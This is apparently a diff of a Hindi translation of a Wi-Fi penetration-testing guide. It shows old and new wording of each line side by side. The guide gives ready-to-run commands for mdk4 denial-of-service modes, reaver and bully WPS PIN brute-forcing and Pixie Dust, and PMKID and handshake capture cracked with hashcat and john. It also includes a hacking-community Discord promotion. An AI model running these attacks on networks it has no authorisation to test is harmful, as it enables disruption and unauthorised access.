ग्राहकों को नकली APs दिखाने के लिए बीकन फ्रेम्स भेजता है। यह कभी-कभी नेटवर्क स्कैनर्स और यहाँ तक कि ड्राइवर्स को भी क्रैश कर सकता है!
|
||||
क्लाइंट्स पर नकली एपी को दिखाने के लिए बीकन फ्रेम भेजता है। यह कभी-कभी नेटवर्क स्कैनर्स और ड्राइवर्स को भी क्रैश कर सकता है!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
|
@ -164,9 +166,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**ATTACK MODE a: प्रमाणीकरण इनकार-ऑफ-सेवा (Authentication Denial-Of-Service)**
|
||||
**हमला मोड ए: प्रमाणीकरण सेवा की अस्वीकृति**
|
||||
|
||||
सभी APs को जो रेंज में पाए जाते हैं, उन्हें प्रमाणीकरण फ्रेम्स भेजता है। बहुत सारे क्लाइंट्स कई APs को फ्रीज या रीसेट कर सकते हैं।
|
||||
रेंज में पाए गए सभी एपी पर प्रमाणीकरण फ्रेम भेजता है। बहुत से ग्राहक एकाधिक एपी को फ्रीज़ या रीसेट कर सकते हैं।
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
|
@ -174,138 +176,138 @@ mdk4 wlan0mon b -a -w nta -m
|
|||
# only -a or -i can be used
|
||||
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
```
|
||||
**ATTACK MODE p: SSID प्रोबिंग और ब्रूटफोर्सिंग**
|
||||
**हमला मोड p: एसएसआईडी प्रोबिंग और ब्रूटफोर्सिंग**
|
||||
|
||||
APs की जांच करता है और उत्तर की जांच करता है, यह जांचने के लिए उपयोगी है कि SSID सही तरीके से डिक्लोक किया गया है और क्या AP आपकी सेंडिंग रेंज में है। **छिपे हुए SSIDs की ब्रूटफोर्सिंग** शब्दसूची के साथ या बिना भी उपलब्ध है।
|
||||
APs की प्रोब्स करता है और जवाब की जांच करता है, एसएसआईडी सही ढंग से डीक्लोक किया गया है या नहीं यह जांचने के लिए उपयुक्त है और यदि एपी आपके भेजने की दायरे में है। **गुप्त एसएसआईडी का ब्रूटफोर्सिंग** एक वर्डलिस्ट के साथ या बिना भी किया जा सकता है।
|
||||
|
||||
**ATTACK MODE m: Michael Countermeasures का शोषण**
|
||||
**हमला मोड m: माइकल काउंटरमेजर्स एक्सप्लॉइटेशन**
|
||||
|
||||
यादृच्छिक पैकेट्स भेजता है या दूसरे QoS कतार पर डुप्लिकेट्स को पुनः इंजेक्ट करता है ताकि Michael Countermeasures को **TKIP APs** पर उत्तेजित किया जा सके। AP फिर पूरे एक मिनट के लिए बंद हो जाएगा, जिससे यह एक प्रभावी **DoS** बन जाता है।
|
||||
**TKIP APs** पर माइकल काउंटरमेजर्स को उकसाने के लिए या तो यादृच्छिक पैकेट भेजता है या दुहराता है एक अन्य QoS कतार पर। एपी फिर पूरे एक मिनट के लिए बंद हो जाएगा, जिससे यह एक प्रभावी **DoS** बन जाता है।
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
```
|
||||
**ATTACK MODE e: EAPOL Start और Logoff Packet Injection**
|
||||
**हमला मोड e: EAPOL स्टार्ट और लॉगऑफ पैकेट इंजेक्शन**
|
||||
|
||||
AP को **EAPOL** Start frames से बाढ़ देता है ताकि वह **नकली सत्रों** के साथ व्यस्त रहे और इस प्रकार यह किसी भी वैध क्लाइंट्स को संभालने में असमर्थ हो जाता है। या **नकली** EAPOL **Logoff संदेशों** को इंजेक्ट करके क्लाइंट्स को लॉग ऑफ कर देता है।
|
||||
एक एपी को **EAPOL** स्टार्ट फ्रेम्स से भर देता है ताकि यह **फर्जी सत्र** के साथ व्यस्त रहे और इसे किसी भी वास्तविक ग्राहक को संभालने की क्षमता से वंचित कर देता है। या ग्राहकों को लॉगऑफ करके **फर्जी** EAPOL **लॉगऑफ संदेश** इंजेक्ट करके।
|
||||
```bash
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**ATTACK MODE s: IEEE 802.11s मेष नेटवर्क्स के लिए हमले**
|
||||
**हमला मोड s: IEEE 802.11s मेश नेटवर्क के लिए हमले**
|
||||
|
||||
मेष नेटवर्क्स में लिंक प्रबंधन और रूटिंग पर विभिन्न हमले। पड़ोसियों और रूट्स को बाढ़ दें, ब्लैक होल्स बनाएं और ट्रैफिक को मोड़ें!
|
||||
मेश नेटवर्क में लिंक प्रबंधन और रूटिंग पर विभिन्न हमले। पड़ोसियों और रूटों को बाढ़ देना, काले गड्ढे बनाना और ट्रैफिक को भटकाना!
|
||||
|
||||
**ATTACK MODE w: WIDS Confusion**
|
||||
**हमला मोड w: WIDS भ्रांति**
|
||||
|
||||
Intrusion Detection और Prevention Systems को भ्रमित/दुरुपयोग करें, क्लाइंट्स को एकाधिक WDS नोड्स या नकली रोग APs से क्रॉस-कनेक्ट करके।
|
||||
अनुघातन पहचान और निवारण सिस्टम को भ्रांत करें/दुरुपयोग करें, क्लायंट्स को कई WDS नोड्स या नकली रोग APs से क्रॉस-कनेक्ट करके।
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**ATTACK MODE f: Packet Fuzzer**
|
||||
**हमला मोड f: पैकेट फज़र**
|
||||
|
||||
एक सरल पैकेट फज़र जिसमें कई पैकेट स्रोत और अच्छे संशोधकों का सेट है। सावधान रहें!
|
||||
एक सरल पैकेट फज़र जिसमें कई पैकेट स्रोत और एक अच्छा सेट के मोडीफायर्स हैं। सावधान रहें!
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
_**Airgeddon**_ पिछली टिप्पणियों में प्रस्तावित अधिकांश हमलों की पेशकश करता है:
|
||||
_**Airgeddon**_ पिछले टिप्पणियों में प्रस्तावित अधिकांश हमलों को प्रस्तुत करता है:
|
||||
|
||||
![](<../../.gitbook/assets/image (126).png>)
|
||||
|
||||
## WPS
|
||||
|
||||
WPS का मतलब है Wi-Fi Protected Setup। यह एक वायरलेस नेटवर्क सुरक्षा मानक है जो राउटर और वायरलेस उपकरणों के बीच कनेक्शन को तेज और आसान बनाने की कोशिश करता है। **WPS केवल उन वायरलेस नेटवर्कों के लिए काम करता है जो पासवर्ड का उपयोग करते हैं** जो **WPA** Personal या **WPA2** Personal सुरक्षा प्रोटोकॉल के साथ एन्क्रिप्टेड होते हैं। WPS उन वायरलेस नेटवर्कों पर काम नहीं करता है जो पुराने WEP सुरक्षा का उपयोग करते हैं, जिसे किसी भी हैकर द्वारा बुनियादी उपकरणों और कौशल के साथ आसानी से क्रैक किया जा सकता है। (यहाँ से [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
||||
WPS का मतलब है वाई-फाई सुरक्षित सेटअप। यह एक वायरलेस नेटवर्क सुरक्षा मानक है जो कोशिश करता है कि एक राउटर और वायरलेस उपकरणों के बीच कनेक्शन को तेज़ और आसान बनाए। **WPS केवल उन वायरलेस नेटवर्क के लिए काम करता है जो एक पासवर्ड का उपयोग करते हैं** जो **WPA** व्यक्तिगत या **WPA2** व्यक्तिगत सुरक्षा प्रोटोकॉल के साथ एन्क्रिप्ट किया गया है। WPS उन वायरलेस नेटवर्क पर काम नहीं करता है जो पुराने वेप सुरक्षा का उपयोग कर रहे हैं, जिसे किसी भी हैकर के बुनियादी सेट ऑफ उपकरणों और कौशल से आसानी से क्रैक किया जा सकता है। (से [यहाँ](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
|
||||
|
||||
WPS नेटवर्क से जुड़ने के लिए 8 लंबाई का PIN का उपयोग करता है, लेकिन पहले 4 नंबरों की जांच की जाती है, और यदि सही हो, तो दूसरे 4 नंबरों की जांच की जाती है। इसलिए, पहले आधे और फिर दूसरे आधे को Brute-Force करना संभव है (केवल 11000 संभावनाएं)।
|
||||
WPS एक 8 अंकों की पिन का उपयोग नेटवर्क से जुड़ने की अनुमति देने के लिए करता है, लेकिन यह पहले 4 नंबरों की जांच करता है और, यदि सही है, तो फिर दूसरे 4 नंबरों की जांच की जाती है। फिर, पहले हाफ और फिर दूसरे हाफ (केवल 11000 संभावनाएं) को ब्रूट-फोर्स किया जा सकता है।
|
||||
|
||||
### WPS Bruteforce
|
||||
### WPS ब्रूटफोर्स
|
||||
|
||||
इस कार्य को करने के लिए 2 मुख्य उपकरण हैं: Reaver और Bully।
|
||||
इस कार्रवाई को करने के लिए 2 मुख्य उपकरण हैं: रीवर और बुली।
|
||||
|
||||
* **Reaver** को WPS के खिलाफ एक मजबूत और व्यावहारिक हमले के रूप में डिजाइन किया गया है, और इसे विभिन्न प्रकार के एक्सेस पॉइंट्स और WPS कार्यान्वयनों के खिलाफ परीक्षण किया गया है।
|
||||
* **Bully** WPS ब्रूट फोर्स हमले का **नया कार्यान्वयन** है, जो C में लिखा गया है। इसमें मूल reaver कोड की तुलना में कई फायदे हैं: कम निर्भरताएं, सुधारित मेमोरी और सीपीयू प्रदर्शन, एंडियननेस की सही हैंडलिंग, और अधिक मजबूत विकल्पों का सेट।
|
||||
* **रीवर** को WPS के खिलाफ एक मजबूत और व्यावहारिक हमला बनाया गया है, और इसे विभिन्न पहुंच बिंदुओं और WPS कार्यान्वयनों के खिलाफ परीक्षण किया गया है।
|
||||
* **बुली** एक **नई अमलीकरण** है WPS ब्रूट फोर्स हमले का, सी में लिखा गया है। इसके कई फायदे हैं मूल रूप से तुलनात्मक कमी, सुधारित मेमोरी और सीपीयू प्रदर्शन, एंडियनेस का सही संभालन, और एक और मजबूत विकल्प सेट।
|
||||
|
||||
यह हमला आठ-अंकीय WPS PIN कोड की **कमजोरी का फायदा उठाता है**; इस समस्या के कारण, प्रोटोकॉल **PIN के पहले चार अंकों के बारे में जानकारी प्रकट करता है**, और **अंतिम** अंक **checksum** के रूप में काम करता है, जिससे WPS AP को ब्रूट फोर्स करना आसान हो जाता है।\
|
||||
नोट करें कि कुछ उपकरणों में **brute-force सुरक्षा** शामिल होती है, जो आमतौर पर **MAC पते को ब्लॉक** करती हैं जो बार-बार हमला करने की कोशिश करते हैं। ऐसे मामले में, इस हमले की जटिलता बढ़ जाती है, क्योंकि आपको PINs का परीक्षण करते समय **MAC पते को घुमाना** होगा।
|
||||
यह हमला एक **आठ-अंकों की WPS पिन कोड में एक कमजोरी** का लाभ उठाता है; इस मुद्दे के कारण, प्रोटोकॉल **पिन के पहले चार अंकों के बारे में जानकारी उजागर करता है**, और **अंतिम** अंक एक **चेकसम** के रूप में काम करता है, जिससे WPS AP को ब्रूट फोर्स करना आसान हो जाता है।\
|
||||
ध्यान दें कि कुछ उपकरण शामिल हैं **ब्रूट-फोर्स सुरक्षा**, जो सामान्यत: **MAC पते को ब्लॉक** करती हैं जो बार-बार हमला करने की कोशिश करते हैं। उस मामले में, इस हमले की जटिलता बढ़ जाती है, क्योंकि आपको पिन्स का परीक्षण करते समय **MAC पते को घुमाना** होगा।
|
||||
|
||||
यदि WPS का वैध कोड मिल जाता है, तो Bully और Reaver दोनों इसका उपयोग नेटवर्क की सुरक्षा के लिए उपयोग किए गए WPA/WPA2 PSK की खोज करने के लिए करेंगे, ताकि आप जब चाहें तब जुड़ सकें।
|
||||
यदि WPS मान्य कोड मिल जाता है, तो बुली और रीवर इसे उपयोग करेंगे ताकि नेटवर्क को सुरक्षित रखने के लिए उपयोग किया जाने वाला WPA/WPA2 PSK खोजें, ताकि आप जब भी आवश्यक हो, कनेक्ट कर सकें।
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**स्मार्ट ब्रूट फोर्स**
|
||||
|
||||
हर संभावित पिन को आजमाने की शुरुआत करने के बजाय, आपको जांचना चाहिए कि क्या **AP के लिए उपलब्ध पिन्स की खोज की गई है** (निर्माता MAC के आधार पर) और **पिन सॉफ्टवेयर द्वारा उत्पन्न पिन्स**।
|
||||
हर संभावित पिन की कोशिश करने की बजाय, आपको यह जांचना चाहिए कि क्या आपके द्वारा हमला किया जा रहा एपी पर उपलब्ध **पिन्स डिस्कवर्ड हैं (निर्माता MAC के आधार पर)** और **पिन सॉफ़्टवेयर द्वारा जनरेटेड पिन्स**।
|
||||
|
||||
* ज्ञात पिन्स का डेटाबेस उन एक्सेस पॉइंट्स के लिए बनाया गया है जिनके निर्माताओं के लिए यह ज्ञात है कि वे समान WPS पिन्स का उपयोग करते हैं। इस डेटाबेस में MAC-पतों के पहले तीन अक्टेट्स और उन पिन्स की सूची होती है जो इस निर्माता के लिए बहुत संभावित हैं।
|
||||
* WPS पिन्स उत्पन्न करने के लिए कई एल्गोरिदम हैं। उदाहरण के लिए, ComputePIN और EasyBox अपनी गणनाओं में एक्सेस पॉइंट के MAC-पते का उपयोग करते हैं। लेकिन Arcadyan एल्गोरिदम को एक डिवाइस ID की भी आवश्यकता होती है।
|
||||
* जाने गए पिन्स का डेटाबेस कुछ निर्माताओं के लिए बनाया गया है जिनके लिए यह मालूम है कि वे एक ही WPS PIN का उपयोग करते हैं। इस डेटाबेस में MAC-पते के पहले तीन ऑक्टेट्स और इस निर्माता के लिए बहुत ही संभावित पिन्स की सूची शामिल है।
|
||||
* WPS PIN जनरेट करने के लिए कई एल्गोरिदम हैं। उदाहरण के लिए, ComputePIN और EasyBox एक्सेस पॉइंट के MAC-पते का उपयोग अपने हिसाब से करते हैं। लेकिन Arcadyan एल्गोरिदम को एक डिवाइस आईडी भी आवश्यक है।
|
||||
|
||||
### WPS Pixie Dust हमला
|
||||
|
||||
Dominique Bongard ने पता लगाया कि कुछ APs गुप्त होने वाले **nonces** (जिन्हें **E-S1** और **E-S2** के रूप में जाना जाता है) को उत्पन्न करने के कमजोर तरीके रखते हैं। यदि हम इन nonces को समझने में सक्षम हैं, तो हम आसानी से AP के WPS पिन का पता लगा सकते हैं क्योंकि AP को हमें हैश में यह देना होगा ताकि यह साबित कर सके कि वह भी पिन को जानता है, और क्लाइंट किसी रूज AP से जुड़ नहीं रहा है। ये E-S1 और E-S2 मूल रूप से WPS पिन वाले "लॉक बॉक्स को खोलने की चाबियाँ" हैं। अधिक जानकारी यहाँ: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
Dominique Bongard ने पाया कि कुछ एपी में **नॉन्सेस** (जिन्हें **E-S1** और **E-S2** के रूप में जाना जाता है) को उत्पन्न करने के कमजोर तरीके होते हैं जो गोपनीय होने की उम्मीद है। अगर हम यह पता लगा सकते हैं कि ये नॉन्सेस क्या हैं, तो हम आसानी से एक एपी का WPS PIN खोज सकते हैं क्योंकि एपी को हमें एक हैश में देना होगा ताकि यह साबित कर सके कि वह भी पिन को जानता है, और क्लाइंट एक रोग एपी से कनेक्ट नहीं कर रहा है। ये E-S1 और E-S2 मुख्य रूप से WPS पिन को समेटे हुए "लॉक बॉक्स को खोलने की चाबियाँ" हैं। अधिक जानकारी यहाँ मिलेगी: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
|
||||
मूल रूप से, कुछ कार्यान्वयनों में पिन के 2 भागों को एन्क्रिप्ट करने के लिए यादृच्छिक कुंजियों के उपयोग में विफलता हुई (जैसा कि प्रमाणीकरण संचार के दौरान पिन को 2 भागों में विघटित किया जाता है और क्लाइंट को भेजा जाता है), इसलिए एक ऑफलाइन हमला वैध पिन को ब्रूट फोर्स करने के लिए उपयोग किया जा सकता था।
|
||||
आम तौर पर, कुछ अमलों में यह विफल हो गया कि पिन के 2 हिस्सों को एन्क्रिप्ट करने के लिए यादृच्छिक कुंजियों का उपयोग किया जाता है (क्योंकि प्रमाणीकरण संचार के दौरान यह 2 हिस्सों में विभाजित होता है और क्लाइंट को भेजा जाता है), इसलिए एक ऑफलाइन हमला उपयोग किया जा सकता है वैध पिन को ब्रूट फोर्स करने के लिए।
|
||||
```
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
```
|
||||
### नल पिन हमला
|
||||
|
||||
कुछ बहुत खराब कार्यान्वयनों ने नल पिन को जुड़ने की अनुमति दी (यह बहुत अजीब भी है)। Reaver इसकी जांच कर सकता है (Bully नहीं कर सकता)।
|
||||
कुछ वास्तव में खराब कार्यान्वयनों ने नल पिन को कनेक्ट करने दिया (बहुत अजीब भी है)। Reaver इसे टेस्ट कर सकता है (Bully नहीं)।
|
||||
```
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
```
|
||||
### Airgeddon
|
||||
### एयरगेडन
|
||||
|
||||
सभी प्रस्तावित WPS हमले _**airgeddon**_ का उपयोग करके आसानी से किए जा सकते हैं।
|
||||
सभी प्रस्तावित WPS हमले आसानी से _**airgeddon**_ का उपयोग करके किए जा सकते हैं।
|
||||
|
||||
![](<../../.gitbook/assets/image (124).png>)
|
||||
|
||||
* 5 और 6 आपको **अपना कस्टम PIN** आजमाने देते हैं (यदि आपके पास कोई हो)
|
||||
* 7 और 8 **Pixie Dust हमला** करने के लिए हैं
|
||||
* 5 और 6 आपको **अपना कस्टम PIN** आजमाने देते हैं (अगर आपके पास कोई है)
|
||||
* 7 और 8 **Pixie Dust हमला** करते हैं
|
||||
* 13 आपको **NULL PIN** की जांच करने देता है
|
||||
* 11 और 12 चुने गए AP से संबंधित PINs को उपलब्ध डेटाबेस से **एकत्रित** करेंगे और ComputePIN, EasyBox और वैकल्पिक रूप से Arcadyan का उपयोग करके संभावित **PINs** **उत्पन्न** करेंगे (अनुशंसित, क्यों नहीं?)
|
||||
* 11 और 12 चयनित एपी से संबंधित PINs को पुनः **डेटाबेस से जुटाएं** और **PINs** उत्पन्न करें: ComputePIN, EasyBox और वैकल्पिक रूप से Arcadyan (सिफारिश की गई है, क्यों नहीं?)
|
||||
* 9 और 10 **हर संभावित PIN** की जांच करेंगे
|
||||
|
||||
## **WEP**
|
||||
|
||||
इतना टूटा और गायब हो गया कि मैं इसके बारे में बात नहीं करने वाला। बस जान लें कि _**airgeddon**_ में WEP के लिए "All-in-One" नामक एक विकल्प है जो इस प्रकार की सुरक्षा पर हमला करने के लिए है। अधिक उपकरण इसी तरह के विकल्प प्रदान करते हैं।
|
||||
तोड़कर गया है और गायब हो गया है कि मैं इसके बारे में बात नहीं करूंगा। बस यह जान लो कि _**airgeddon**_ के पास "All-in-One" नामक एक WEP विकल्प है जिसका उपयोग इस प्रकार की सुरक्षा को हमला करने के लिए किया जा सकता है। अधिकतर उपकरण समान विकल्प प्रदान करते हैं।
|
||||
|
||||
![](<../../.gitbook/assets/image (125).png>)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
|
||||
|
||||
**Hacking Insights**\
|
||||
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें
|
||||
**हैकिंग इंसाइट्स**\
|
||||
हैकिंग के उत्साह और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
|
||||
|
||||
**Real-Time Hack News**\
|
||||
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अपडेट रहें
|
||||
**रियल-टाइम हैक समाचार**\
|
||||
तेजी से बदलते हैकिंग विश्व में रियल-टाइम समाचार और अनुभवों के साथ अप-टू-डेट रहें
|
||||
|
||||
**Latest Announcements**\
|
||||
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें
|
||||
**नवीनतम घोषणाएं**\
|
||||
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ अवगत रहें
|
||||
|
||||
[**Discord**](https://discord.com/invite/N3FrSbmwdy) पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
|
||||
|
||||
## WPA/WPA2 PSK
|
||||
|
||||
### PMKID
|
||||
|
||||
2018 में hashcat लेखकों ने एक नए प्रकार के हमले का [खुलासा](https://hashcat.net/forum/thread-7717.html) किया, जो केवल **एक एकल पैकेट** पर निर्भर नहीं करता, लेकिन इसके लिए हमारे लक्ष्य AP से जुड़े किसी भी क्लाइंट की आवश्यकता नहीं होती, केवल हमलावर और AP के बीच संचार की जरूरत होती है।
|
||||
2018 में hashcat लेखकों ने [एक नया प्रकार का हमला](https://hashcat.net/forum/thread-7717.html) जारी किया जिसमें **एक ही पैकेट** पर निर्भरता होती है, लेकिन इसमें हमारे लक्ष्य AP के किसी भी ग्राहक कनेक्ट न होने की आवश्यकता नहीं है, बल्कि केवल हमलावर और AP के बीच संचार की आवश्यकता है।
|
||||
|
||||
यह पता चला है कि आधुनिक राउटर्स में से **बहुत सारे** AP द्वारा भेजे गए **पहले EAPOL** फ्रेम के अंत में एक **वैकल्पिक फील्ड** जोड़ते हैं, जब कोई जुड़ रहा होता है, जिसे `Robust Security Network` कहा जाता है, जिसमें `PMKID` नामक कुछ शामिल होता है।
|
||||
यह पता चलता है कि **बहुत से** आधुनिक राउटर्स AP द्वारा भेजे गए पहले EAPOL फ्रेम के अंत में एक **वैकल्पिक फ़ील्ड** जोड़ते हैं जब कोई संबंधित होता है, जिसे `Robust Security Network` कहा जाता है, जिसमें `PMKID` शामिल है।
|
||||
|
||||
मूल पोस्ट में बताया गया है कि **PMKID** हमें ज्ञात डेटा का उपयोग करके निकाला जाता है:
|
||||
मूल पोस्ट में स्पष्ट किया गया है कि **PMKID** हमें पता चलाने के लिए डेटा का उपयोग करके उत्पन्न किया जाता है:
|
||||
```
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
**चूँकि "PMK Name" स्ट्रिंग स्थिर है, हमें AP का BSSID और स्टेशन दोनों का पता है और `PMK` वही है जो पूर्ण 4-वे हैंडशेक से प्राप्त होता है**, यह सब hashcat को PSK को क्रैक करने और पासफ्रेज को पुनः प्राप्त करने के लिए चाहिए!
|
||||
विवरण [यहाँ](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) से प्राप्त किया गया है।
|
||||
**क्योंकि "PMK Name" स्ट्रिंग स्थिर है, हमें पीएमके नामक एपी और स्टेशन का बीएसएसआईडी पता है और `PMK` एक ही है जो पूर्ण 4-वे हैंडशेक से प्राप्त किया गया है**, यह हैशकैट को पासवर्ड क्रैक करने और पासफ्रेज़ को पुनः प्राप्त करने के लिए आवश्यक है!\
|
||||
विवरण [यहाँ से](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) प्राप्त किया गया।
|
||||
|
||||
इस जानकारी को **एकत्रित** करने और पासवर्ड को स्थानीय रूप से **bruteforce** करने के लिए आप कर सकते हैं:
|
||||
इस जानकारी को **एकत्र करने** और स्थानीय रूप से पासवर्ड को **ब्रूटफोर्स** करने के लिए आप कर सकते हैं:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
airmon-ng start wlan0
|
||||
|
@ -317,17 +319,17 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
|
|||
#You can also obtains PMKIDs using eaphammer
|
||||
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
|
||||
```
|
||||
कैप्चर किए गए **PMKIDs** **कंसोल** में दिखाई देंगे और \_**/tmp/attack.pcap**\_ में भी **सेव** किए जाएंगे।\
|
||||
अब, कैप्चर को **hashcat/john** फॉर्मेट में बदलें और इसे क्रैक करें:
|
||||
**PMKIDs captured** को **कंसोल** में दिखाया जाएगा और इसे \_/tmp/attack.pcap\_ में **सहेजा** जाएगा।\
|
||||
अब, कैप्चर को **hashcat/john** फ़ॉर्मेट में कन्वर्ट करें और इसे क्रैक करें:
|
||||
```bash
|
||||
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
|
||||
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
|
||||
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
कृपया ध्यान दें कि सही हैश में **4 भाग** होते हैं, जैसे: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
|
||||
\_\_यदि आपका **केवल** **3 भाग** हैं, तो, वह **अमान्य** है (PMKID कैप्चर वैध नहीं था)।
|
||||
कृपया ध्यान दें कि एक सही हैश का स्वरूप **4 भाग** में होता है, जैसे: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6f6e6e6563743034383131343838_\
|
||||
\_\_अगर आपका **केवल** **3 भाग** में है, तो यह **अमान्य** है (PMKID कैप्चर वैध नहीं था)।
|
||||
|
||||
ध्यान दें कि `hcxdumptool` **हैंडशेक्स भी कैप्चर करता है** (कुछ इस तरह दिखाई देगा: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). आप **हैंडशेक्स** को **hashcat**/**john** प्रारूप में **परिवर्तित** कर सकते हैं `cap2hccapx` का उपयोग करके।
|
||||
ध्यान दें कि `hcxdumptool` **भी हैंडशेक** को कैप्चर करता है (कुछ इस प्रकार का दिखाई देगा: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)। आप `cap2hccapx` का उपयोग करके **हैंडशेक** को **hashcat**/**john** स्वरूप में **परिवर्तित** कर सकते हैं।
|
||||
```bash
|
||||
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
|
||||
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
|
||||
|
@ -335,30 +337,30 @@ hccap2john pmkid.hccapx > handshake.john
|
|||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
मैंने देखा है कि इस टूल से कैप्चर किए गए कुछ हैंडशेक्स को तब भी क्रैक नहीं किया जा सका जब सही पासवर्ड मालूम हो। मैं सलाह दूंगा कि यदि संभव हो तो हैंडशेक्स को पारंपरिक तरीके से भी कैप्चर करें, या इस टूल का उपयोग करके उन्हें कई बार कैप्चर करें।
|
||||
_मैंने देखा है कि इस टूल के साथ कुछ हैंडशेक्स को क्रैक नहीं किया जा सकता, भले ही सही पासवर्ड पता हो। मैं सलाह दूंगा कि यदि संभव हो तो हैंडशेक्स को पारंपरिक तरीके से भी कैप्चर करें, या इस टूल का उपयोग करके कई हैंडशेक्स कैप्चर करें।_
|
||||
|
||||
### हैंडशेक कैप्चर
|
||||
|
||||
**WPA/WPA2** नेटवर्क्स पर हमला करने का एक तरीका हैंडशेक को कैप्चर करना और इस्तेमाल किए गए पासवर्ड को **ऑफलाइन** क्रैक करने की कोशिश करना है। ऐसा करने के लिए आपको **पीड़ित** नेटवर्क के **BSSID** और **चैनल** का पता लगाना होगा, और एक **क्लाइंट** जो नेटवर्क से जुड़ा हुआ है।\
|
||||
एक बार जब आपके पास वह जानकारी हो जाए, तो आपको उस **BSSID** के सभी संचार को उस **चैनल** पर **सुनना** शुरू करना होगा, क्योंकि आशा है कि हैंडशेक वहां भेजा जाएगा:
|
||||
**WPA/WPA2** नेटवर्क्स को हमला करने का एक तरीका है **हैंडशेक** को कैप्चर करना और पासवर्ड **ऑफ़लाइन** क्रैक करने की कोशिश करना। इसे करने के लिए आपको **विक्टिम** नेटवर्क का **BSSID** और **चैनल** और नेटवर्क से कनेक्टेड एक **क्लाइंट** ढूंढना होगा।\
|
||||
एक बार जब आप उस जानकारी को प्राप्त कर लिया है, तो आपको उस **BSSID** के सभी संवाद को सुनना होगा उस **चैनल** में, क्योंकि आशा है कि हैंडशेक वहाँ भेजा जाएगा:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
